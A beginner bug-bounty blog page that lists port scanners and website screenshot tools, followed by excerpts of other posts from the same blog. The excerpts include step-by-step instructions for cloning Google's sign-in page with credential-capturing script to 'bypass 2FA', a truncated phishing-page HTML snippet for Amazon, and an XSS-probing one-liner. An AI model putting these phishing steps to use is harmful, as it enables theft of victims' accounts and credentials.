BEGINNER BUG BOUNTY TOOLS PART 2

-

 BEGINNER BUG BOUNTY TOOLS PART 2

Port Scanning

Port scanning is the process of systematically scanning a network or a host to discover open ports and services that are available for communication. Ports are communication endpoints used in networking, and each port is associated with a specific service or protocol. Port scanning is a common technique used in network reconnaissance and security assessments, both for legitimate purposes like network troubleshooting and for potentially malicious activities like identifying vulnerable services.

This this definition given by chatgpt
 
 
let us see some port scanning tool used for bug bounty


masscan - TCP port scanner, spews SYN packets asynchronously, scanning entire Internet in under 5 minutes.

RustScan - The Modern Port Scanner

naabu - A fast port scanner written in go with focus on reliability and simplicity.

nmap - Nmap - the Network Mapper. Github mirror of official SVN repository.
 
If you are using kali linux  it is inbuilt in and some linux distros contains nmap defaultly

sandmap - Nmap on steroids. Simple CLI with the ability to run pure Nmap engine, 31 modules with 459 scan profiles.

ScanCannon - Combines the speed of masscan with the reliability and detailed enumeration of nmap


Screenshots

EyeWitness - EyeWitness is designed to take screenshots of websites, provide some server header info, and identify default credentials if possible.

aquatone - Aquatone is a tool for visual inspection of websites across a large amount of hosts and is convenient for quickly gaining an overview of HTTP-based attack surface.

screenshoteer - Make website screenshots and mobile emulations from the command line.

gowitness - gowitness - a golang, web screenshot utility using Chrome Headless

WitnessMe - Web Inventory tool, takes screenshots of webpages using Pyppeteer (headless Chrome/Chromium) and provides some extra bells & whistles to make life easier.

 eyeballer - Convolutional neural network for analyzing pentest screenshots


scrying - A tool for collecting RDP, web and VNC screenshots all in one place

Depix - Recovers passwords from pixelized screenshots

httpscreenshot - HTTPScreenshot is a tool for grabbing screenshots and HTML of large numbers of websites.

Comments

Post a Comment

Popular posts from this blog

PlayItSafe google cyber security professional course 2 (COURSERA)

-
Image
 PlayItSafe google cyber security professional course 2 (COURSERA) 1)More about the CISSP security domains-practice quiz      2)Navigate threats, risks, and vulnerabilities- quiz 3)weeklychallenge-1                       4)Test your knowledge: More about frameworks and controls-quiz 5)Test your knowledge: The CIA triad-quiz Test your knowledge: NIST frameworks Test your knowledge: OWASP principles and security audits Weekly challenge 2 Practice Quiz: Test your knowledge: Security information and event management (SIEM) dashboards Test your knowledge: Identify threats and vulnerabilities with SIEM tools Weekly challenge 3 Test your knowledge: Incident response Test your knowledge: Use a playbook to respond to an incident Weekly challenge 4 Hey guys this blog contains all answers of coursera 's google cyber security professional certification quiz answers. 
Read more

FOUNDATIONS OF CYBERSECURITY GOOGLE(COURSERA) QUIZ ANSWERS

-
Image
 FOUNDATIONS OF CYBERSECURITY GOOGLE(COURSERA) QUIZ ANSWERS    Hi guys, i've completed a courses on foundations of cyber security in coursera. here am gonna drop my answer which i've noted while  studying  this  course. ill drop the link of the notion  LINK: notion answer for foundation of cybersecurity in coursera     the above is the sequence order of the answer 
Read more

HOW TO BYPASS THE 2FA(TWO FACTOR AUTHENTICATION)

-
Image
HOW TO BYPASS THE 2FA(TWO FACTOR AUTHENTICATION) of gmail  Initially we should know about some basics of phishing attack, It is the base techinque we use here to gain password of victim        REQUIREMENTS 1)KALI LINUX 2)SUBLIME TEXT EDITOR 3)NGROK STEP 1: Initially use your browser and search for google sign in STEP 2: Type the mail id you wanna hack, after entering the mail id and click next STEP 3: After entering the mail id and right click the mouse and click inspect  STEP 4: after clicking inspect element ,go to inspector tab or element tab and right click and click the option called EDIT AS HTML,copy all html codes. STEP 5: paste it on sublime text editor and add some script at the end of the html tag ill drop the code here <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.1/jquery.min.js"></script> <script>     $('button').click(function(e){       e.preventDefault()       auth=$('...
Read more

Disclaimer

-
Disclaimer for securityblog If you require any more information or have any questions about our site's disclaimer, please feel free to contact us by email at canonminibeast@gmail.com. Our Disclaimer was generated with the help of the Free Disclaimer Generator. Disclaimers for read it gain it All the information on this website - https://readitgainit.blogspot.com/ - is published in good faith and for general information purpose only. read it gain it does not make any warranties about the completeness, reliability and accuracy of this information. Any action you take upon the information you find on this website (read it gain it ), is strictly at your own risk. read it gain it will not be liable for any losses and/or damages in connection with the use of our website. From our website, you can visit other websites by following hyperlinks to such external sites. While we strive to provide only quality links to useful and ethical websites, we have no control over the conte...
Read more

AUTOMATED SCRIPT FOR FINDING XSS

-
Image
 AUTOMATED SCRIPT FOR FINDING XSS               An example of a web security vulnerability is cross-site scripting (XSS), which enables attackers to insert malicious executable scripts into the code of a website or application that is trusted. An XSS attack is frequently started by an attacker tempting a user to click on a malicious link that they deliver to them. Through cross-site scripting (XSS) assaults, attackers can get around access restrictions like the same-origin policy, which separates websites from one another.Zero When the victim accesses the website or application that runs the malicious code, the attack really takes place.1. Malicious scripts are injected into websites that are otherwise trustworthy and benign in an exploit known as cross-site scripting (XSS). HERE IS THE SCRIPT THAT AUTOMATES XSS DETECTION  cat urls.txt| egrep -iv ".(jpg|jpeg|js|cs|gif|tiff|png|woff|woff2|ico|pdf|svg|txt)" |qsreplace ' "><()'|tee c...
Read more

BITFLIPING

-
Image
BIT-FLIPING            Digital data, such as text, images, or videos, is stored and processed in computers as binary code, a sequence of 0s and 1s. Each 0 or 1 is called a bit, the smallest unit of data. A bit-flip occurs when a bit's state unintentionally changes from its initial value to the opposite. This can happen due to hardware errors, electromagnetic interference, or other factors. Bit-flips can lead to data corruption, software crashes, or system failures. To mitigate such issues, error-correcting codes and redundancy techniques are employed to detect and correct errors. Ensuring data integrity and reliability is crucial in digital systems to prevent data loss and maintain accurate information. In the realm of computing, bitsquatting and bit flipping are two intriguing phenomena that revolve around the fundamental building blocks of digital data - bits, which represent zeros and ones. Bitsquatting involves a scenario where a bit within a domain nam...
Read more

how hackers do a phishing page in 8 lines of code using html

-
Image
 How Hackers do a phishing page in  8 lines of code  phishing,what is phishing?         Phishing is a cybercrime where scammers deceive individuals or organizations by creating fake emails, websites, or messages that appear legitimate to trick victims into providing sensitive information, such as login credentials, financial data, or personal details. These fraudulent attempts aim to steal valuable information or gain unauthorized access to accounts and can lead to identity theft, financial loss, or other malicious activities. To protect against phishing, it's crucial to be cautious of suspicious emails, links, and requests for personal information, and to verify the authenticity of websites and messages before sharing sensitive data. Always use strong passwords and enable multi-factor authentication whenever possible to enhance security. PRACTICAL STEPS: Here , I am gonna clone the amazon website with only 8 lines HERE IS THE CODE <html> <hea...
Read more

BEGINNER BUG BOUNTY TOOLS PART-1

-
 BEGINNER BUG BOUNTY TOOLS PART-1 Subdomain Enumeration:     Subdomain enumeration, also known as subdomain discovery or subdomain reconnaissance, is the process of finding subdomains associated with a domain. Subdomains are part of a larger domain and can represent specific services, departments, or functions within an organization. Enumerating subdomains can be important for various purposes, including security assessments, web application testing, and domain management. Tools with Description Sublist3r - Fast subdomains enumeration tool for penetration testers Amass - In-depth Attack Surface Mapping and Asset Discovery massdns - A high-performance DNS stub resolver for bulk lookups and reconnaissance (subdomain enumeration) Findomain - The fastest and cross-platform subdomain enumerator, do not waste your time. Sudomy - Sudomy is a subdomain enumeration tool to collect subdomains and analyzing domains performing automated reconnaissance (recon) for bug huntin...
Read more

Things should do after sublister(sublist3r)

-
Image
Things should do after sublister(sublist3r)  Sublist3r is tool which is used by pentester  which shows unique subdomains as I showed below  you won't get https:// in the begging of these url ,here I have a solution for it i.e ive developed a one line script for this Step 1: copy all the subdomains, After that use the command nano and store all the links and name it You see,there no https:// infront of the subdomains Step 2: USE THE BELOW COMMAND  sudo python -c "with open('input.txt', 'r') as infile, open('output.txt', 'w') as outfile: outfile.write('\n'.join(['https://' + line.strip() for line in infile]))" boom!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Read more